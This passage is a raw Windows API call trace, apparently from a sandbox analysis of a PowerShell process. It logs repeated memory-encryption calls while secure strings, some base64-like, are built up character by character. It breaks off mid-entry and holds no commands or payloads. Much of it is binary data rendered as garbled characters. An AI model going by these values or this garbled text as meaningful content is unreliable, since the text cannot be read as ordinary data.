SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.518] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TL๚\x1e장\⏜⋵) returned 0x20 [0253.518] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.518] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘瀽랺孤솔ᡉ풱㷴") returned 0x20 [0253.518] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘瀽랺孤솔ᡉ풱㷴") returned 0x20 [0253.518] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.518] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLS๚\x1e장\⏜⋵) returned 0x20 [0253.518] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.519] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘㐛؅攻¾纟ᡭ꙯ყ") returned 0x20 [0253.519] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘㐛؅攻¾纟ᡭ꙯ყ") returned 0x20 [0253.519] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.519] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSE\x1e장\⏜⋵) returned 0x20 [0253.519] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.519] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘䔖댠릦∰⏤皴") returned 0x20 [0253.519] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘䔖댠릦∰⏤皴") returned 0x20 [0253.519] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.519] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEa장\⏜⋵) returned 0x20 [0253.519] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.519] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘鳼软㑓퉒ꥳ솿楣꤄") returned 0x20 [0253.519] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘鳼软㑓퉒ꥳ솿楣꤄") returned 0x20 [0253.519] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.519] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaP\⏜⋵) returned 0x20 [0253.520] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.520] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘ក㭢尡蠟Ϫ㌧") returned 0x20 [0253.520] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘ក㭢尡蠟Ϫ㌧") returned 0x20 [0253.520] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.520] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPw") returned 0x20 [0253.520] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.520] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘窙텚砤\裚⪣\ﮔ") returned 0x20 [0253.520] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘窙텚砤\裚⪣\ﮔ") returned 0x20 [0253.520] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.520] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww") returned 0x20 [0253.520] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.520] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ") returned 0x20 [0253.523] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ") returned 0x20 [0253.523] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ") returned 0x20 [0253.524] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ") returned 0x28 [0253.524] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.524] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww9퍹⫼疒㘝\냝⋌) returned 0x28 [0253.524] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.524] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ刃〭캨굩䱆츫囶녙") returned 0x28 [0253.524] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ刃〭캨굩䱆츫囶녙") returned 0x28 [0253.524] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.524] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90⫼疒㘝\냝⋌) returned 0x28 [0253.524] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.524] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ᷋ᾷ쮠궄࿩傩㙅") returned 0x28 [0253.524] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ᷋ᾷ쮠궄࿩傩㙅") returned 0x28 [0253.524] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.525] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90m疒㘝\냝⋌) returned 0x28 [0253.525] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.525] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ瀞찮럞廞禙⚧혧ﾒ") returned 0x28 [0253.525] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ瀞찮럞廞禙⚧혧ﾒ") returned 0x28 [0253.525] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.525] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx㘝\냝⋌) returned 0x28 [0253.525] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.525] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ睦Ꝟ\ᛟ䌨吪⋛) returned 0x28 [0253.525] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ睦Ꝟ\ᛟ䌨吪⋛) returned 0x28 [0253.525] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.526] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2㘝\냝⋌) returned 0x28 [0253.526] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.526] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ阱牌▵夡넩똅砓") returned 0x28 [0253.526] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ阱牌▵夡넩똅砓") returned 0x28 [0253.526] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.526] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2w\냝⋌) returned 0x28 [0253.526] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.527] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌᢆ嗱➈巍驊ꏀޞ좨") returned 0x28 [0253.527] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌᢆ嗱➈巍驊ꏀޞ좨") returned 0x28 [0253.527] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.527] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2wL첰") returned 0x28 [0253.527] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.527] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ폠毕灳샄睞Ა꩞") returned 0x28 [0253.527] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ폠毕灳샄睞Ა꩞") returned 0x28 [0253.527] SystemFunction041 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.527] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2wLX") returned 0x28 [0253.527] SystemFunction040 (in: Memory=0x3af5d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af5d4) returned 0x0 [0253.527] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔") returned 0x28 [0253.528] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔") returned 0x28 [0253.528] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔") returned 0x28 [0253.528] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔") returned 0x30 [0253.528] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.528] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2wLXl䴥驕盈䠇㐂ᯯ") returned 0x30 [0253.528] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.528] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔⽤馂죯杒韥㦗ᎏ섒") returned 0x30 [0253.528] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔⽤馂죯杒韥㦗ᎏ섒") returned 0x30 [0253.528] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.529] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2wLXlJ驕盈䠇㐂ᯯ") returned 0x30 [0253.529] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.529] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔ꏽ荽ⳗ∻鐐⻯䨶庞") returned 0x30 [0253.529] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔ꏽ荽ⳗ∻鐐⻯䨶庞") returned 0x30 [0253.529] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.529] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2wLXlJ0盈䠇㐂ᯯ") returned 0x30 [0253.529] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.529] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔ꮀ൯㺝ᙨ詁룩礣⌱") returned 0x30 [0253.529] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘繬嶕콜汝聢깟Ƌ疰娆ﴧﹸ䝱훔ꮀ൯㺝ᙨ詁룩礣⌱") returned 0x30 [0253.529] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.529] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08TLSEaPww90mx2wLXlJ0=盈䠇㐂ᯯ") returned 0x30 [0253.529] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0253.529] EtwEventActivityIdControl () returned 0x0 [0253.530] EtwEventActivityIdControl () returned 0x0 [0253.530] EtwEventActivityIdControl () returned 0x0 [0253.530] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.531] EtwEventActivityIdControl () returned 0x0 [0253.531] EtwEventActivityIdControl () returned 0x0 [0253.531] EtwEventActivityIdControl () returned 0x0 [0253.532] SysStringLen (param_1="") returned 0x8 [0253.532] SysStringLen (param_1="N") returned 0x8 [0253.532] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.532] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0253.532] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0253.532] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.532] SysStringLen (param_1="ND") returned 0x8 [0253.532] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.532] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0253.532] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0253.532] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.532] SysStringLen (param_1="NDZ") returned 0x8 [0253.532] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.533] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0253.533] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0253.533] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.533] SysStringLen (param_1="NDZl") returned 0x8 [0253.533] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.533] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0253.533] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0253.533] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.533] SysStringLen (param_1="NDZlO") returned 0x8 [0253.533] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.533] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0253.533] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0253.533] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.533] SysStringLen (param_1="NDZlOD") returned 0x8 [0253.533] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.534] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0253.534] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0253.534] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.534] SysStringLen (param_1="NDZlODR") returned 0x8 [0253.534] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.534] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0253.534] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0253.534] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.534] SysStringLen (param_1="NDZlODRm") returned 0x8 [0253.534] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.534] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0253.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0253.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0253.535] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0253.535] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.535] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0253.536] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0253.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0253.536] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.536] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0253.536] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0253.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0253.536] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.537] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0253.537] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0253.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0253.537] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.537] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0253.537] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0253.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0253.537] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.537] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0253.537] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.537] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0253.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0253.538] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.538] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0253.538] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0253.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0253.538] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.538] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0253.538] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0253.538] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0253.538] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.538] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0253.538] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0253.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0253.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0253.539] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0253.539] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.540] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0253.540] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0253.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0253.540] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.540] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0253.540] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0253.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0253.540] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.540] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0253.540] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.540] SysStringLen 